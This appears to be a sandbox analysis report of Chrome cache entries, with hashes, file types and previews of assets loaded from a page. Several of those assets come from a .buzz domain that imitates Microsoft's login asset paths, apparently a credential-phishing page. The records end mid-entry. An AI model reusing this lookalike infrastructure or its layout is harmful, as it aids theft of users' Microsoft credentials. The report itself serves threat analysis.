Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 136 x 35, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4282
Entropy (8bit):	7.9094975524856705
Encrypted:	false
SSDEEP:	96:7CrQlhBCrrGZqBYZvNSOQsY9FUtOL0D8EjbC/TwLL0Wc59PjM7Cd2+c9:7xhaGYBYVSh244DnvGTq0Wc3L5o19
MD5:	30E4D3580E0120FD8F2076DA8A0A9139
SHA1:	2CF82FCFF425FB5ED26412867000330420E7D097
SHA-256:	610786222EF090DB5DCE5976D53C9B08D3518152AF22F75E767FAD11CE3E8D93
SHA-512:	1854D208E99D72EA8BE06D3944968618FE74C7529509AC2F7F359B4F052C54EFD89595D8A3198D08B6C13E4195527A54B7D2055C93976C60CB473C7EB1C8A930
Malicious:	false
Reputation:	low
URL:	https://content.app-sources.com/s/87389112295097514/uploads/admin-files/EASY2_schwarz-4357245.png
Preview:	.PNG........IHDR.......#.....OaB.....IDATx..y.......V.@..!b..W...".7..1.Q1.1.$.L..(F..&....[.,&...$.S..1......(...E.e....U.8...e..13.<...\|.y.9.9.G...s......@.}....\...L...^..............W.....xN..%...x.N...}......b.g.......<...e....W]U.....<..`.0>....m......v....n.&..st.9.V...H.u.#...wW.\.8,.(.~`..C`..>......8.B.?.~.....H..m...8....a.V..C....W....B...?f..p.......K...h....QM..O...S....D....K[...........0....O.c?...8........VUv......pN..Y...a.[./XV.....{9.G....?-n.^v......m.V.P0......u.....%."....J}.....^.i`5.....r....0pJ..k..). i.:......\|......N....@..a....=..u.-..:...!./.c6VD.e5..#q7.>^5.l......0..]y]...T.I`..Nc..F..q/..V..m..p....A..PX<..-........(....)P... ....gc.c.GvBB.kH.t...W...S..........p..\?.H.U.t.V.~8.x....N..Se.e.p.p..R...YHH.<.s.X..._.$L.T.....4..H...>..;..V.n.>;..^......_I.......h.n......W.......:....Z.5i..;....3r...'.Z.'...v.~[..o....k....!p.ZJ,..........q.P.<.}`...w.....3.k.I....EU.esCD[.....s..X...}...NE.b..._....p

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
URL:	https://interconnectednessresilient.buzz/aadcdn.msauth.net/~/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60801)
Category:	dropped
Size (bytes):	697434
Entropy (8bit):	5.377908876840392
Encrypted:	false
SSDEEP:	12288:Qq9DW6B7hN+x+RxbWZy91L5rlD16ESUvsi:BW6B7hN+x+RxbWZIrlD9SU0i
MD5:	18F3C3AF10FC0813BB350B99E4C428D1
SHA1:	1C5E99E0A685D05471926ABFD88E4C5C13DD43EA
SHA-256:	DAADAEDB4181519F8309E716DEC2E89311638D43792F27D8A108EECE7F2452D5
SHA-512:	95334553B88CD5A2407DD37369337D50A3A69FBDE3D337B2987706A357FB367CE8FA0C741C8628080D712151057B4720300BD26698F5B67FF7426BCD2E96E45D
Malicious:	false
Reputation:	low
Preview:	/!. jQuery JavaScript Library http://jquery.com/. . Includes Sizzle.js. * http://sizzlejs.com/. . Copyright jQuery Foundation and other contributors. * Released under the MIT license. * http://jquery.org/license. . /.if(window.jQuery?((console\|\|{}).warn\|\|function(){})("jQuery imported from third-party sources. Will not include it second time!"):function(e,t){"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,(function(e,t){var n=[],r=e.document,i=n.slice,a=n.concat,o=n.push,s=n.indexOf,l={},c=l.toString,u=l.hasOwnProperty,d={},f="3.6.0",p=function(e,t){return new p.fn.init(e,t)},h=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,m=/^-ms-/,g=/-([\da-z])/gi,v=function(e,t){return t.toUpperCase()};function b(e){var t=!!e&&"length"in e&&e.length,n=p.type(e);return"function"!==n&&!p.isWindow(e)&&("array"===n\|\|

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	689017
Entropy (8bit):	4.210697599646938
Encrypted:	false
SSDEEP:	6144:rnQWWDY3mr16XRxcpuEhjMPRKkC0d7xyF0FA9OgoUE0HUN4oe+:rBWU3xhDKkTshoj5
MD5:	3E89AE909C6A8D8C56396830471F3373
SHA1:	2632F95A5BE7E4C589402BF76E800A8151CD036B
SHA-256:	6665CA6A09F770C6679556EB86CF4234C8BDB0271049620E03199B34B4A16099
SHA-512:	E7DBE4E95D58F48A0C8E3ED1F489DCF8FBF39C3DB27889813B43EE95454DECA2816AC1E195E61A844CC9351E04F97AFA271B37CAB3FC522809CE2BE85CC1B8F0
Malicious:	false
Reputation:	low
URL:	https://interconnectednessresilient.buzz/aadcdn.msauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js
Preview:	.!(function (e) {. function n(n) {. for (var t, i, o = n[0], r = n[1], s = 0, c = []; s < o.length; s++). (i = o[s]),. Object.prototype.hasOwnProperty.call(a, i) && a[i] && c.push(a[i][0]),. (a[i] = 0);. for (t in r) Object.prototype.hasOwnProperty.call(r, t) && (e[t] = r[t]);. for (d && d(n); c.length; ) c.shift()();. }. var t,. i = {},. a = { 22: 0 };. function o(n) {. if (i[n]) return i[n].exports;. var t = (i[n] = { i: n, l: !1, exports: {} });. return e[n].call(t.exports, t, t.exports, o), (t.l = !0), t.exports;. }. Function.prototype.bind \|\|. ((t = Array.prototype.slice),. (Function.prototype.bind = function (e) {. if ("function" != typeof this). throw new TypeError(. "Function.prototype.bind - what is trying to be bound is not callable". );. var n = t.call(arguments, 1),. i = n.length,. a = this,. o = function () {},. r = function () {. return (.

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (895), with no line terminators
Category:	downloaded
Size (bytes):	895
Entropy (8bit):	4.930228716496069
Encrypted:	false
SSDEEP:	24:f5aLK/rLFfbxn4NltyNjryNvDuFf6HCN0FfxNxuFfgNEFfm:vFfbd2Xcfc6Ff6s0FfjsFfeEFfm
MD5:	B09941727D4F6E3D145A9094683F2CB6
SHA1:	7D9909F81AB7E9BECF83DDA528269A84C0F06AAD
SHA-256:	79F8F26AC551118182B8D56102F67E3342C9ED5770ED7F34AE50A0E6AE937DA4
SHA-512:	B1A7E632A79C41BB1383624407D15619A1EE0ABE11B6567E4911FCA14E9EF2506159075755F2C6457BEFC7BC38E0ABF68CAAB7DE1505934BB6505B4044EB0522
Malicious:	false
Reputation:	low
URL:	https://static.web-repository.com/t/theme25/css/trunk.min.css?v=1040
Preview:	.buttonWidget .theme-button{border-radius:35px;padding:17px 32px}.portfolio-list-wrapper .image-overlay,.portfolio-widget-item-data{background:rgba(255,255,255,.8)}@media screen and (min-width:1025px){.grid-row:not(.grid-row-fullwidth) .simvoly-nav-arrow.simvoly-rightarrow{right:30px}.grid-row:not(.grid-row-fullwidth) .simvoly-nav-arrow.simvoly-leftarrow{left:30px}.grid-row:not(.grid-row-fullwidth) .simvoly-nav-arrow{background:0 0;border-radius:50%;border:2px solid rgba(255,255,255,.5);opacity:1}.grid-row:not(.grid-row-fullwidth) .sliderWidget .widget-preserving-ratio-inner{overflow:visible!important}.grid-row:not(.grid-row-fullwidth) .simvoly-nav-arrow i{color:rgba(255,255,255,.5)}.grid-row:not(.grid-row-fullwidth) .simvoly-nav-arrow:hover{background:0 0;border:2px solid rgba(255,255,255,.8)}.grid-row:not(.grid-row-fullwidth) .simvoly-nav-arrow:hover i{color:rgba(255,255,255,.8)}}

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 136 x 35, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4282
Entropy (8bit):	7.9094975524856705
Encrypted:	false
SSDEEP:	96:7CrQlhBCrrGZqBYZvNSOQsY9FUtOL0D8EjbC/TwLL0Wc59PjM7Cd2+c9:7xhaGYBYVSh244DnvGTq0Wc3L5o19
MD5:	30E4D3580E0120FD8F2076DA8A0A9139
SHA1:	2CF82FCFF425FB5ED26412867000330420E7D097
SHA-256:	610786222EF090DB5DCE5976D53C9B08D3518152AF22F75E767FAD11CE3E8D93
SHA-512:	1854D208E99D72EA8BE06D3944968618FE74C7529509AC2F7F359B4F052C54EFD89595D8A3198D08B6C13E4195527A54B7D2055C93976C60CB473C7EB1C8A930
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......#.....OaB.....IDATx..y.......V.@..!b..W...".7..1.Q1.1.$.L..(F..&....[.,&...$.S..1......(...E.e....U.8...e..13.<...\|.y.9.9.G...s......@.}....\...L...^..............W.....xN..%...x.N...}......b.g.......<...e....W]U.....<..`.0>....m......v....n.&..st.9.V...H.u.#...wW.\.8,.(.~`..C`..>......8.B.?.~.....H..m...8....a.V..C....W....B...?f..p.......K...h....QM..O...S....D....K[...........0....O.c?...8........VUv......pN..Y...a.[./XV.....{9.G....?-n.^v......m.V.P0......u.....%."....J}.....^.i`5.....r....0pJ..k..). i.:......\|......N....@..a....=..u.-..:...!./.c6VD.e5..#q7.>^5.l......0..]y]...T.I`..Nc..F..q/..V..m..p....A..PX<..-........(....)P... ....gc.c.GvBB.kH.t...W...S..........p..\?.H.U.t.V.~8.x....N..Se.e.p.p..R...YHH.<.s.X..._.$L.T.....4..H...>..;..V.n.>;..^......_I.......h.n......W.......:....Z.5i..;....3r...'.Z.'...v.~[..o....k....!p.ZJ,..........q.P.<.}`...w.....3.k.I....EU.esCD[.....s..X...}...NE.b..._....p

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3450), with CRLF line terminators
Category:	downloaded
Size (bytes):	3452
Entropy (8bit):	5.117912766689607
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLosqAsosushswsosry:a2IYz95qTdBac
MD5:	CB06E9A552B197D5C0EA600B431A3407
SHA1:	04E167433F2F1038C78F387F8A166BB6542C2008
SHA-256:	1F4EDBD2416E15BD82E61BA1A8E5558D44C4E914536B1B07712181BF57934021
SHA-512:	1B4A3919E442EE4D2F30AE29B1C70DF7274E5428BCB6B3EDD84DCB92D60A0D6BDD9FA6D9DDE8EAB341FF4C12DE00A50858BF1FC5B6135B71E9E177F5A9ED34B9
Malicious:	false
Reputation:	low
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	2112
Entropy (8bit):	7.884489505873821
Encrypted:	false
SSDEEP:	48:LtpA67+VuGN37JuLl277XazdDNArQIZfsdCSXEvxKFsC:5pA1VdIAfX2+1aCS0vUb
MD5:	D56231A7D62F05103D86A88008DD6291
SHA1:	76CF6234D1659F9CA11038DB6C81A875BE1961FC
SHA-256:	4429DBB107173F013A086C66F64CEA49F370B5A744F5400EB30A5722667FE4A0
SHA-512:	F3EB199DB96447EF255BE907B1A715ABB44450F5D00B1BC1D3D53925CC088DCFE0DA8136E60CB7F0D7E8D7E1A7EBF4C81C948E8AD1333DF521DD60A22F7089E9
Malicious:	false
Reputation:	low
Preview:	RIFF8...WEBPVP8X..............ALPH..........F..=.......k...E...k.1..wttl.. (.&._...J.x.RDL...f.....{_..>..w.....'3.......pm).\...Q..8w....ks.2VR........h....A..Oz..>...o.f7.m.!..?..SY..uL.u8b.;v.........m.....=?,..Ka.....ZK...&...._..MR.G.Yi.X.A7...Xl.j...t...k....Zu-...-H...D.......Tj$)..~F..M..\|.qEv$)..W%....N...&.../....N.....\M.^.M.........N.;..8..(6......y.c...Z.....i......B..`....m.s.OSf..l.\2.M^........N..U..}.....:..A.....S f.XO.2..Z...}..a8.v...{.n..4..{........d..9g')........6.d...p3#Q.q...:y...d..>..>\|...G.^.....[`.d..GKm......m........]..l..,..........`JX...r.7..x-^..jf.-.3.f..G`..P..v...Q.........i.At..1.}....jk@.h.(.A..>eJ"e.C.>NR....(..:f!..[..f.J'.FK.O.Pr...B.YDc....-.k..BF(.H.X"JxW...j...!..0.U!v.)....R...kk.....E.7.P3_%GU.2..c^'.......Co3+-Ey...Q......3.qFZ..`O..D...._..[..>V.2?....d........s....BM.n.#....Rf..Rf.6...W...6..0..R......`.e..7.!Q4.9B:.ca..u.;...f.(..N/..7...WI[...b...w...].!.9.1.WL.vD]........\|....m......*e..h..

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
URL:	https://interconnectednessresilient.buzz/aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47087), with no line terminators
Category:	downloaded
Size (bytes):	47087
Entropy (8bit):	4.906361825491007
Encrypted:	false
SSDEEP:	768:bmZ8XtLfxnBWAkoz9gPMNgcNG3wXcXI7MASO:BdLfxn4a9wMScQ3wXcXpO
MD5:	40A01E40049339000851DD2F6A76E89D
SHA1:	D120A2CC2DDB450F9620F29A04C1DD219222FB00
SHA-256:	97FDDF3CEFF47BAA257FB8C36886B59379CAD3436A6C29B6B5C5FD89C4832700
SHA-512:	7A4C29F65AC5C0F140F847CE5C24642D6680F19AB89976748FCD6905CBAB71BAF43F5F5F6140A81DFE77A31A5979F9446D77F81DF42AA16C6E161A72F6751EA3
Malicious:	false
Reputation:	low
URL:	https://static.web-repository.com/t/theme25/css/trunk-768.min.css?v=1040
Preview:	.grid-content-store.skewed-background .product-body-container:after{transform:skewX(0);left:0}.live-theme>div>.content{margin-top:0}.live-theme>.content{margin-top:0}.theme .navigation-wrapper{position:relative;height:auto}.theme .navigation-wrapper nav.open{-webkit-animation-fill-mode:forwards;-webkit-overflow-scrolling:touch}.theme .navigation-wrapper.smaller{position:relative;height:auto}.theme nav li ul{box-shadow:none}.theme .theme-logo{width:100%}.theme .theme-logo a{float:none;display:block;margin:0 auto}.theme nav .website-nav-link-highlighted a{text-align:center}.theme .theme-logo a>span,.theme .theme-logo p{width:100%;text-align:center;display:block}.theme nav li ul{min-width:none}.big-featured-image .post-content-wrapper h1{font-size:24px;margin-bottom:10px}.big-featured-image .post-content-wrapper span{font-size:15px}.theme nav.open{-webkit-box-shadow:-2px 0 45px 0 rgba(0,0,0,.27);-moz-box-shadow:-2px 0 45px 0 rgba(0,0,0,.27);box-shadow:-2px 0 45px 0 rgba(0,0,0,.27)}.theme

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3450), with CRLF line terminators
Category:	downloaded
Size (bytes):	3452
Entropy (8bit):	5.117912766689607
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLosqAsosushswsosry:a2IYz95qTdBac
MD5:	CB06E9A552B197D5C0EA600B431A3407
SHA1:	04E167433F2F1038C78F387F8A166BB6542C2008
SHA-256:	1F4EDBD2416E15BD82E61BA1A8E5558D44C4E914536B1B07712181BF57934021
SHA-512:	1B4A3919E442EE4D2F30AE29B1C70DF7274E5428BCB6B3EDD84DCB92D60A0D6BDD9FA6D9DDE8EAB341FF4C12DE00A50858BF1FC5B6135B71E9E177F5A9ED34B9
Malicious:	false
Reputation:	low
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1907), with no line terminators
Category:	downloaded
Size (bytes):	1907
Entropy (8bit):	4.891647429628218
Encrypted:	false
SSDEEP:	24:Cf+gx2EK9LKuLOYL4bByh0VauAazNakLm4C27TLLZ42J/FYbMSU+4B655yG5QBy:0bSA4GQKNgySgubM6x55yG5T
MD5:	5D8F6F2837258C41EC395430C85D03D9
SHA1:	6E400CFC77CC10C0E0FA71C09A9A29415A05CE30
SHA-256:	82AE8FD96E74EDF77C6D0191FBA8898FBC316DD9C532A266034576CAD5CCAEA6
SHA-512:	646849AD4E8D0FAFFAC0539C5850C8BF28FEBCEB6FD158AD515A957F7413E0B62D5C8F4C8A082B3AE5F06C05248269F3588A74BE29324504D3EB63EEF327C59E
Malicious:	false
Reputation:	low
URL:	https://static.web-repository.com/t/theme25/css/trunk-1024.min.css?v=1040
Preview:	.grid-content{width:90%}#customerInfoForm{padding-right:40px}.blog-container .grid-content{width:100%}.theme .profile-wrapper{flex-direction:column}.theme .profile-sidebar{padding:0;width:100%;border:none}.theme .profile-sidebar ul{margin-top:0}.theme .profile-sidebar li{width:auto}.theme .profile-sidebar h2{margin-top:0}.theme .profile-sidebar li a{padding-right:25px}.products-per-row-4 .product-item,.products-per-row-5 .product-item,.products-per-row-6 .product-item{width:33.3%}.full-width-layout{padding:0}.products-per-row-1 .product-item,.products-per-row-2 .product-item:nth-child(odd),.products-per-row-3 .product-item:nth-child(3n+1),.products-per-row-4 .product-item:nth-child(4n+1),.products-per-row-5 .product-item:nth-child(5n+1),.products-per-row-6 .product-item:nth-child(6n+1){clear:none}.parallax-bg.fixed-parallax{background-attachment:scroll!important}.profile-wrapper{padding:50px}.theme .profile-content{width:100%;padding:0}.flip-clock-wrapper ul li{line-height:60px!importa

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4287
Entropy (8bit):	4.91217210476915
Encrypted:	false
SSDEEP:	96:dQi5kPTfa50DD3pWlxNiBhhFV6Q4XTCxLK18uG4HDtAEOqKb5fK:drUCCLpWTNiBTnKTmKfjtxKb5C
MD5:	992A5733B4C2BE6D1420DE5C99AE79BC
SHA1:	D41B4FD15428EEB53238E769A3DAC31921FAA178
